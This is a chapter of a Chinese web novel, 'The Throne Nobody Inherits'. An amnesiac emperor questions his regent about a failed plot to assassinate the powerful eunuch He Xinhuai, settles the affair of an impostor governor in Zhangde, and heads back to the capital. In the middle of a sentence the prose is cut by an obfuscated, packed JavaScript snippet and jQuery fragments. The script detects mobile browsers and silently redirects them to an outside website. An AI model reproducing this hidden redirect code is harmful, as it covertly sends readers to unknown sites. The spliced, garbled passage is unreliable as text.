22. 彰德11
作品:《朕的皇位无人继承》 侍卫一头雾水,“属下未曾接到什么命令”
卫玹览点了头,“去休息吧,朕站会儿”
俩侍卫也不敢多劝,两人对视一眼就走了,卫玹览在门口站了一晚上,直到第二天早上来接班的侍卫看见卫玹览在门口站着,还觉得奇怪,“陛下要出门?”
卫玹览没有回话,拍了侍卫的肩膀就走了进去,晚上挺冷的,他的手脚都冻僵了,他搓着手去饭厅吃了早饭,然后让人去把勾汇知叫了回来,这才回房准备把另一个勾汇知放出来,结果远远的就看见的任霁还在门口跪着,他的眉头微挑。
走近了,任霁哑着声音喊了一声,“陛下”
卫玹览一眼就看到了屋内跪着的顾月舒,脊背微弯,正捂着嘴咳嗽,只看背影都能看得出虚弱。卫玹览这才想起来顾月舒的身体不好,昨天太生气了,把这事完全忘记了。
咳嗽声盖过了任霁的声音,顾月舒还没有发现卫玹览回来了,卫玹览朝任霁示意,任霁便起身跟着他走了。
来到隔壁的房间,卫玹览问道:“他跪了一整晚?”
任霁老老实实的回道:“是,王爷的身体不好,周大夫..”说着发觉卫玹览的脸色不对,声音弱了下去也就没有在继续说了。
卫玹览倒了杯热茶喝着,“别人不知道他在打算什么,你总归知道,说吧,到底怎么回事?”
任霁抬眸看了卫玹览一眼,但随即又敛了视线,他犹豫着,并没有立刻回话。
卫玹览也不恼,他盯着任霁看,慢吞吞的说着:“你说如果一直不叫他起来,他会不会一直跪下去?还是说他站起来,要跟朕不死不休?”
任霁连忙跪了下去,“陛下,王爷绝没有二心,他所做的一切也是为了您啊”
“这理由倒是不新鲜,让朕听听,又是什么为了你好的老套剧情”
卫玹览心情不好,说话也不好听,任霁说不出话来,卫玹览也不在问了,“你不说,他也不说,那朕只有当你们要谋反了”
任霁瞪大了眼睛,“陛下,臣万死不敢生二心”
卫玹览蹲下去与他对视着,冷笑着:“你自己信你说的话吗?朕在给你一次机会,再不说,朕也不想听了”
在任霁思考的时间,卫玹览也没有闲着,吩咐侍卫,“去把沈连玉,薛镇叫过来”
侍卫应了一声,赶紧去了。
卫玹览自说自话道:“不知道这两位是不是也变成摄政王的人呢?”
这事在闹下去,收不了场了,任霁眼一闭,心一横,伏倒在地,“陛下,王.王爷只是想让陛下忘记九千岁”
卫玹览听懵了,但脸上丝毫不显,“嗯?”
话起了头,便没有隐瞒的必要了,任霁继续说道:“之前陛下偏信九千岁,让九千岁独揽大权,这次陛下失忆,王爷为了稳固朝堂,这才想方设法拖住陛下回京的步伐,绝不是陛下想的那样,为了谋私啊,请陛下明鉴”
卫玹览没有回话,一甩袖子就去了隔壁,任霁看着卫玹览气冲冲的背影,心里叫苦,不说气大,说了更气大,早知道不说了。
卫玹览过来的时候顾月舒还在咳,他听到声音回头看来,脸又白又漂亮,破碎感拉满,卫玹览在心里叹了口气,走过去朝他伸出手,语气还是很生硬,“起来”
顾月舒抬眸看向他,眼神中带着探究的意味,他似乎想说什么,但最后也只喊了一声,“陛下”
卫玹览是个急性子,直接将人给拉了起来,顾月舒腿软得有些站不住,卫玹览只能揽着他,顾月舒脸带歉意,“臣僭越了”
卫玹览把他扶到椅子上,又给他倒了杯水,顾月舒接过去说了声,“谢谢”
卫玹览站在他面前,不过少了之前居高临下的压迫感,但脸上表情还是冷漠,他说道:“嗯,事情我都了解了,今明两日就把彰德的事情处理完回京。你要是实在不想我回京,你就陪我在去雪山逛一遭”
顾月舒没料到他会这样说,惊讶的表情很明显,“陛下”
卫玹览道:“之前的事我忘了又不是你忘了,你不相信我,我也不怪你,但是你有事能不能跟我说清楚,不要把我当傻子”
顾月舒站了起来看起来又要跪,卫玹览一把拉住了他,“就这点事,弄出这么大阵仗,我觉得完全没必要”
顾月舒被他按住,美目低垂,“是臣狭隘了”
卫玹览松开他,“下不为例”
顾月舒回道:“是”
卫玹览在他旁边坐了下来,“勾汇知的事你知道了?”
顾月舒点头应道:“刚知道”
卫玹览微微皱眉,“昨晚?”
没料到他这么较真,顾月舒顿了一下才回道:“五天前”
骗子。
顾月舒看起来状态不好,卫玹览也没有说别的,只是问道:“查到假冒者是谁了吗?”
顾月舒看了他一眼,随即又移开了视线,卫玹览觉得他那眼神非常熟悉,于是他猜测道:“又跟何西淮有关?”
顾月舒回道:“是何西淮的表叔”
“只是表叔?”卫玹览合理的猜测,“那父亲,母亲还有堂叔之类的,会不会也有这种情况”
顾月舒对上他的视线,语气有些轻,像是怕惊扰到了什么,“没有”
卫玹览明白了,“你查过了”
“嗯”
卫玹览的视线落在他白皙的手指上,他双手抱着水杯,看起来莫名的有些乖巧,卫玹览挑了下眉,移开了视线,“这事你打算怎么处理?”
顾月舒敛着眸,“罪证收集完呈给皇上,由皇上定夺”
又在骗人。
卫玹览一个字都不信他的,“罪证收集完了吗?”
“尚未”
这倒让卫玹览有些诧异,“嗯?”
顾月舒回道:“勾汇知的两个儿子全死了,老婆也疯疯癫癫的,并且一口咬定张大河就是勾汇知”
“假勾汇知叫张大河”卫玹览忍不住吐槽,这名字好随便。
“我把勾.张大河叫回来了,让勾汇知跟他对峙”
顾月舒看着他没说话,但卫玹览感觉得到他明显有话要说的,他有些无奈,“有什么你就说嘛,我猜不到啊”
顾月舒咽了咽口水掩饰尴尬,然后才说道:“他绝不会承认的,且这事一定会惊动何西淮,打草惊蛇,臣以为暂时还不能动他”
卫玹览眉头微皱,不赞同他的话,直白的说道:“何西淮的罪证你肯定有吧,到时候回京证据一摆,直接下大牢,还担心什么打草惊蛇?”
顾月舒微微勾了一下嘴角,卫玹览觉得他在嘲笑自己,但他又实在找不到自己话里的漏洞,“我说错了?”
顾月舒压下嘴角,恢复了正经的模样,“陛下说得没错,但是现在何西淮手握京畿重兵,惹急了必定会反扑,届时我们无力抵抗”
卫玹览脱口而出,“那你呢?”
顾月舒回道:“臣手无缚鸡之力,即便有心,恐怕也无法保护陛下”
“咦”卫玹览听得后背鸡皮疙瘩都起来了,“好好说话”
顾月舒看了他一眼,“虽不中听,但臣说的都是实话”
“我相信你”卫玹览连忙表明态度,但对他的话还是持了一分怀疑,“那按你的说法,我们拿何西淮就没办法了?”
顾月舒回道:“有两个办法”
“你说”
顾月舒道:“第一个,暗杀,只要何西淮死了,为他所用的人自然不会擅动,一一攻破,朝堂虽然震动一时,但不会太久;第二,徐徐图之”
联想到顾月舒这段时间的作为,“你派人去杀何西淮了?”
顾月舒没有说话,但卫玹览知道他说对了,他迫切的想知道结果,“成功了吗?”
顾月舒还是没有回答,卫玹览看着他的脸色,保守的猜测道:“没有?”
卫玹览继续问道:“为什么?季潇功夫不行,那你怎么不把任霁也调去呢?你手下就没有武功高强的?一个不行,上十个,十个不行,上百个,怎么会失败呢?”
见他越说越离谱了,顾月舒终于开了口,“没有找到人”
“啊?”卫玹览奇怪,“不是在回春堂吗?怎么会没有找到人呢?”
顾月舒回道:“不知道,季潇已经十天没消息了”
卫玹览心里有了猜测,“他被抓住了?”
顾月舒敛眸,看不出情绪,“臣.亦不知”
卫玹览继续问道:“后面没有派人去了吗?”
顾月舒回道:“何西淮已经回京了”
“回京了?”卫玹览明白了,以何西淮现在的地位,只要一回京便不会在有刺杀的机会,卫玹览想道,“要不,我在给他下道旨,让他来彰德一趟?”
顾月舒看向卫玹览,见他说得认真,便也如实说道:“他不会在来的”
卫玹览皱眉,“他还能抗旨?”
顾月舒没说话,但意思很明显了。
卫玹览面带忧虑,“那我们现在只能徐徐图之了?”
顾月舒道:“只要陛下想干,臣一定赴汤
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14988835|161598||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
蹈火”
卫玹览一开始还没懂他的意思,但转念就明白了,要杀何西淮,没有人比他更合适了。
“行,那..”卫玹览本想说弄完彰德的事就赶紧回京,但又想到顾月舒不想他回京,于是又转了个弯,“那你觉得现在咱们该怎么办?”
顾月舒又不说话了,卫玹览看得着急,“说话啊”
顾月舒顿了好一会儿才回道:“回京”
这两字个他说得郑重无比,是下了很大的决心才说出来的。
卫玹览知道他在担心什么,虽然他深知顾月舒的担忧是多余的,但他现在也没有办法打消他的顾虑,反正回京见到何西淮后顾月舒自然就能明白,他在也不会在偏信何西淮了。
鉴于顾月舒说的暂时不要打草惊蛇,卫玹览也没有在让勾汇知与张大河对峙了,只是象征性的问了一些善民所的情况,倒是张大河面带忧虑的看向卫玹览,“陛下,臣这些日子听闻了一些离谱的传闻,求见了皇上好几次,都被拦住了。臣斗胆敢问,陛下可还安好?”
卫玹览手抵在嘴边咳了两声,“前几天伤风了,床都起不来,今日才好了些,让爱卿担心了”
张大河顺势问道:“周大夫不是在吗?怎么还让陛下伤得这么重?”
卫玹览佯装苦恼,“说来话长,周云衣身体刚好就急着回天池山了,走的时候还问朕要了一块金牌,也不知道还能不能还回来”
这话让张大河松了一口气,“他走得也太不是时候了,有天大的事也没有陛下的龙体重要”
卫玹览笑笑,表面功夫做得好,“年轻人痴迷情情爱爱的,拦也拦不住”
卫玹览本身年纪小,但他地位高,说这话倒也不算太奇怪,张大河附和道:“陛下说得是,鬼谷神医的花边新闻臣也略有耳闻,一直以为谣传,没想到竟然是真的”
话题越扯越偏了,卫玹览把话题绕了回来,“赈灾银还没找到?”
张大河眼神一动,拱手回道:“此时正值春耕灾民们日日催着要回乡,臣心急如焚,夜不能寐,在全体衙役的努力下终于找到了丢失赈灾银款的线索”
卫玹览赶紧问道:“在何处?”
张大河回道:“原是被驿馆的驿丞用石头给偷梁换柱了,臣昨日已经带人将涉事驿丞缉捕归案,他倒是老实,一见臣就老老实实的交代了,银子臣已经运到了善民所,等着发放”
卫玹览高兴的站起来拍了拍张大河的肩膀,“干得好,朕从来就觉得能为百姓做实事的官才是朝廷真正需要的官,只要心怀百姓又有能力,即便一时走了岔路,也不是不能原谅”
张大河一听这话明显是话里有话,一撩衣摆就跪了下去,“臣惶恐,虽心怀百姓,但时常反省是不是做得不够多,没有让所有彰德的百姓过上好日子”
卫玹览道:“九千岁时常在朕面前提起你,果然跟他说一样,等这事了了,朕回去与九千岁商量商量把你调到京城去”
张大河连忙道:“多谢陛下抬爱,但臣生在彰德长在彰德,只想留下彰德不愿进京,请陛下成全”
卫玹览佯装遗憾的叹了口气,“既然是你的所请,朕便应了你”
“多谢陛下”
卫玹览道:“下去忙吧”
“是”
张大河走了,顾月舒从屏风里走出来,脸色有些奇怪,卫玹览朝他扬了扬下巴,颇有些骄傲的意味,“怎么样?”
顾月舒点了头,“陛下很厉害”
卫玹览回道:“我这样说了,他肯定也知道自己的事暴露了,日后定会夹着尾巴做人”
顾月舒心知他想多了,但并没有说出来,有了钱按照人数进行了分配好,灾民拿了钱返乡,彰德这边的事也差不多结束了。
回京之前还有真正的勾汇知没有安排,卫玹览想到一个好主意,与顾月舒商量。
“你说,换个身份让他担任彰德巡抚如何?”
经过四年的折磨,勾汇知彻底变了模样,即便站在最亲的人面前也不会被认出来,顾月舒没有异议,勾汇知本人就更没有异议了,跪在地上叩谢皇恩。
卫玹览将人扶了起来,“朕会替你做主的”
勾汇知感激涕零,“臣一定会找出证据为自己和家人报仇”
“臣恭送陛下回京”
“恭送陛下回京”
卫玹览来时无人知道,走的时候倒是人山人海的,卫玹览从马车里探处头去百姓挥手,阳光正好,万里无云,百姓跪了一地。卫玹览回头看向车内的顾月舒,抿唇轻笑。